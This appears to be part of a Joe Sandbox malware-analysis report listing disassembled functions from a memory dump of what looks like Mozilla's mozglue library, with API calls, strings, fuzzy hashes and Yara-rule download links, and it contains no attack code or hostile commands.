Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: edc3679885f00612b8f714d7be34c577c4edee1b87985f87d1108d7dc3d359e8
Instruction ID: 74eed99c8d0624b681637ca9193cd2d6035c2994baa7d0fb486719f5f4de1f87
Opcode Fuzzy Hash: edc3679885f00612b8f714d7be34c577c4edee1b87985f87d1108d7dc3d359e8
Instruction Fuzzy Hash: 85E092B06013029BEB0A6B739E1C7397AF8B746208F04D25AAA0891740EBB1C0469A50

Function 6CA475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA4748B,?), ref: 6CA475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA475D7
FreeLibrary.KERNEL32(?,6CA4748B,?), ref: 6CA475EC

Strings

ntdll.dll, xrefs: 6CA475B3
RtlNtStatusToDosError, xrefs: 6CA475D1

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 9660c5c251dcb2ba10893b17a8662feb749a128a9e34a659f1ba574a0724b7dd
Instruction ID: c6757af089ae530dd1ac5a490829bc14fa2d91a586d88a15781216f51b69f40a
Opcode Fuzzy Hash: 9660c5c251dcb2ba10893b17a8662feb749a128a9e34a659f1ba574a0724b7dd
Instruction Fuzzy Hash: 80E092B2604303ABEB086BA3DC48721BAF8EB06319F14C129ED05E5A40EBB08087DF11

Function 6CA47600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA47592), ref: 6CA47608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CA47627
FreeLibrary.KERNEL32(?,6CA47592), ref: 6CA4763C

Strings

NtUnmapViewOfSection, xrefs: 6CA47621
ntdll.dll, xrefs: 6CA47603

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 32c1c81400f45cbc98aa36e02652601938df3ff872639ad28adfddc513c04743
Instruction ID: 8bfb1da9414b6a6bceba001d1a318bacc61e7522af4988bee6549f513e144ed5
Opcode Fuzzy Hash: 32c1c81400f45cbc98aa36e02652601938df3ff872639ad28adfddc513c04743
Instruction Fuzzy Hash: 6AE092B1600342ABEF086BA79C08761BAB8F71A25AF14D219ED05D2A40E7B0C0469B18

Function 6CA4BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CA4BE49), ref: 6CA4BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CA4BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CA4BE49), ref: 6CA4BF38
RtlReAllocateHeap.NTDLL ref: 6CA4BF83
RtlFreeHeap.NTDLL ref: 6CA4BFA6

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 3429e25cbc4ee1cfde069f165391d0c145ec8d22e1c97193e20b7b136bc11c77
Instruction ID: 1f749e9974f327cf097809c06de61417bdbd23ca781eb8735631771cb6f8a187
Opcode Fuzzy Hash: 3429e25cbc4ee1cfde069f165391d0c145ec8d22e1c97193e20b7b136bc11c77
Instruction Fuzzy Hash: 31519271A006058FE714DF69DD80B9EB3A6FF88314F298639D519A7B54D730F9868B80

Function 6CA38E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?,6CA5D734), ref: 6CA38E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?,6CA5D734), ref: 6CA38EBF
free.MOZGLUE(?,?,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?), ref: 6CA38F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?,6CA5D734), ref: 6CA38F46
free.MOZGLUE(?,?,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?), ref: 6CA38F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA2B58D,?,?,?,?,?,?,?,6CA5D734,?,?,?), ref: 6CA38F8F

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a9e83bc5a5ab19c2b3d1a6630f73ce2614f130ba23215f19fc7a9fd0b92d281
Instruction ID: 8ddd59c7083e02024cd4a5cbd2a56a83ce5ce85a51e282797fc19fdd0b56d05f
Opcode Fuzzy Hash: 8a9e83bc5a5ab19c2b3d1a6630f73ce2614f130ba23215f19fc7a9fd0b92d281
Instruction Fuzzy Hash: C35180B1A012268FEB14CF68D89066E73B2EF44718F29052AD91AEB740E731F945CB91

Function 6C9F60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F6180
free.MOZGLUE(?,?,?,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9F6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9F6229
free.MOZGLUE(?,?,?,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9F625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9F6271

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: aea9d125c118c7d957ff5432c1946ec8f09afd4942d3b84bbdab76204b39edac
Instruction ID: b1092f9ae14360c491a48110edf2248a8b00e69936e37dd381886dee44f77ecc
Opcode Fuzzy Hash: aea9d125c118c7d957ff5432c1946ec8f09afd4942d3b84bbdab76204b39edac
Instruction Fuzzy Hash: ED5167B1B013068BEB14CFA8D8807AEB7B9EF45308F214539C666D7711E731EA5ACB51

Function 6CA327E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA3284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA3289A
free.MOZGLUE(?,?,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA328F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA32910
free.MOZGLUE(00000001,?,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA3293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CA32620,?,?,?,6CA260AA,6CA25FCB,6CA279A3), ref: 6CA3294E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 52cdd7da90728ceaa4096aece69c58b2727e94945bd401ccaee35389e6f38e53
Instruction ID: 32bb222b19c53c3e3d98fcbd4855afa161a19ef27a7abdd376a8cf1f7a3a170d
Opcode Fuzzy Hash: 52cdd7da90728ceaa4096aece69c58b2727e94945bd401ccaee35389e6f38e53
Instruction Fuzzy Hash: 2241F4B1A003168FEB14CFA8D89836A73F5EB45308F154639D55AEB741E731E944CB91

Function 6C9ECFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9ECFF6
LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9ED026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C9ED06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C9ED139

Strings

MOZ_CRASH(), xrefs: 6C9ED187

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a615229c5f2acb1d49b8f5b0f9591b692b865a55b28d31f29dc51a06436c5f8a
Instruction ID: 95348d49766adce740d86445351d97cd8033c75a32f27f35ec15d5f75fa61a6f
Opcode Fuzzy Hash: a615229c5f2acb1d49b8f5b0f9591b692b865a55b28d31f29dc51a06436c5f8a
Instruction Fuzzy Hash: E041BE72B013168FDB098E6E8D9437AB6B4EF9D714F144239E918E7784D7A19D028BD0

Function 6C9E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C9E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C9E4F1E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 67121f3daa7bd19d17f0e71949f4d4c1e998484f983501107232c2bb94d56837
Instruction ID: 73129cad9debd507667f7839f47207ea89920d2458739a41124361e4c4ebe5ab
Opcode Fuzzy Hash: 67121f3daa7bd19d17f0e71949f4d4c1e998484f983501107232c2bb94d56837
Instruction Fuzzy Hash: 4141D2716087059FC706CFA9C48095BB7E8BFAD354F108A2DF56587741DB30E968CB91

Function 6CA4A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA6F770), ref: 6CA4A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA4A87B

Part of subcall function 6CA4A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CA4A88F,00000000), ref: 6CA4A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CA4A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA4A90C
LeaveCriticalSection.KERNEL32(6CA6F770), ref: 6CA4A97E

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5a1c812bf18c444e335af7ef738afe1b586fadd975d1149055c99edc8dfa0768
Instruction ID: e26a851796e90e872b8f688aba93696865c27e0b0b6b64af125515b7dedf451d
Opcode Fuzzy Hash: 5a1c812bf18c444e335af7ef738afe1b586fadd975d1149055c99edc8dfa0768
Instruction Fuzzy Hash: 2A418DB4E002089BDB04DFE8D845BEEBB71FF08324F148629E816AB791D7319985CB91

Function 6C9F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C9F152B,?,?,?,?,6C9F1248,?), ref: 6C9F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9F152B,?,?,?,?,6C9F1248,?), ref: 6C9F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C9F152B,?,?,?,?,6C9F1248,?), ref: 6C9F15E7
free.MOZGLUE(?,?,?,?,?,?,6C9F152B,?,?,?,?,6C9F1248,?), ref: 6C9F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C9F152B,?,?,?,?,6C9F1248,?), ref: 6C9F1637

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4aeb700edcec1a29312afb1915daaa339ebe519af264e6bfbc242b40774d6e0c
Instruction ID: 131a53018503eb2798278f5e5dd62a136fb08349175ac7af3dedf0a888a296e2
Opcode Fuzzy Hash: 4aeb700edcec1a29312afb1915daaa339ebe519af264e6bfbc242b40774d6e0c
Instruction Fuzzy Hash: 4631E8B2A001158BCB198E78D85447E77A9FB863747280B2DE433DBBD4EB30D91687D1

Function 6CA4AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA5E330,?,6CA0C059), ref: 6CA4AD9D

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA5E330,?,6CA0C059), ref: 6CA4ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA5E330,?,6CA0C059), ref: 6CA4AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA5E330,?,6CA0C059), ref: 6CA4AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA5E330,?,6CA0C059), ref: 6CA4AE3D

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: fa43463e94a56b9c2915c707f92687177a1a95e06c7e58b71814ab09bf0c441c
Instruction ID: e434cabc408c2c5d9f907d381812fe2f613a5b68f5fbc19634c47c7f5b4cd939
Opcode Fuzzy Hash: fa43463e94a56b9c2915c707f92687177a1a95e06c7e58b71814ab09bf0c441c
Instruction Fuzzy Hash: B53181B1A003159FDB10DF7A8D45AABB7F9EF48614F15882DE95AD7700E734E884CBA0

Function 6CA45EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CA5DCA0,?,?,?,6CA1E8B5,00000000), ref: 6CA45F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA1E8B5,00000000), ref: 6CA45F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA1E8B5,00000000), ref: 6CA45F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA1E8B5,00000000), ref: 6CA45F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA1E8B5,00000000), ref: 6CA45FD6

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: daabbe09b6d29c793135541d3a521d2d3475c0171aa7a30a5822490ae237eb26
Instruction ID: 5fb71b4f7fe06da0b356c741962b81b519225616e5dca1afb3fc5ba782518364
Opcode Fuzzy Hash: daabbe09b6d29c793135541d3a521d2d3475c0171aa7a30a5822490ae237eb26
Instruction Fuzzy Hash: B431CB34300601CFD715CF29C898A2AB7F9FF89319B688558F9568BB95C771EC42CB91

Function 6C9EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C9EB532
moz_xmalloc.MOZGLUE(?), ref: 6C9EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C9EB57E
free.MOZGLUE(00000000), ref: 6C9EB58F

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 50d2d0ff05507853e4ec422e561052feaea982a23e600141189d191d46fe26bf
Instruction ID: 5a17317556e3117d8a11963dff7662eef259b11b971166835ba568c7b465f26b
Opcode Fuzzy Hash: 50d2d0ff05507853e4ec422e561052feaea982a23e600141189d191d46fe26bf
Instruction Fuzzy Hash: DF210A716003059BDB018F65CC40B7EBBB9FF56318F244129E819DB341EB35D915C7A0

Function 6C9EB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9EB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C9EB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C9EB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9EB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9EB849

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: c76df41d26ec2245a258b2da8ca439a896c5ad1da22777304c6f332db8449400
Instruction ID: 8060b32412a6d921c9853d6f8c438c8731da5d96c20f7812a88088381d6e3709
Opcode Fuzzy Hash: c76df41d26ec2245a258b2da8ca439a896c5ad1da22777304c6f332db8449400
Instruction Fuzzy Hash: C1215EB0E003099FDF04DFA9D8855BEBBB4EF49718F148169EC45A7701E731A944CBA1

Function 6CA46E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA46E78

Part of subcall function 6CA46A10: InitializeCriticalSection.KERNEL32(6CA6F618), ref: 6CA46A68
Part of subcall function 6CA46A10: GetCurrentProcess.KERNEL32 ref: 6CA46A7D
Part of subcall function 6CA46A10: GetCurrentProcess.KERNEL32 ref: 6CA46AA1
Part of subcall function 6CA46A10: EnterCriticalSection.KERNEL32(6CA6F618), ref: 6CA46AAE
Part of subcall function 6CA46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA46AE1
Part of subcall function 6CA46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CA46B15
Part of subcall function 6CA46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CA46B65
Part of subcall function 6CA46A10: LeaveCriticalSection.KERNEL32(6CA6F618,?,?), ref: 6CA46B83

MozFormatCodeAddress.MOZGLUE ref: 6CA46EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA46EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CA46EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CA46EFF

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

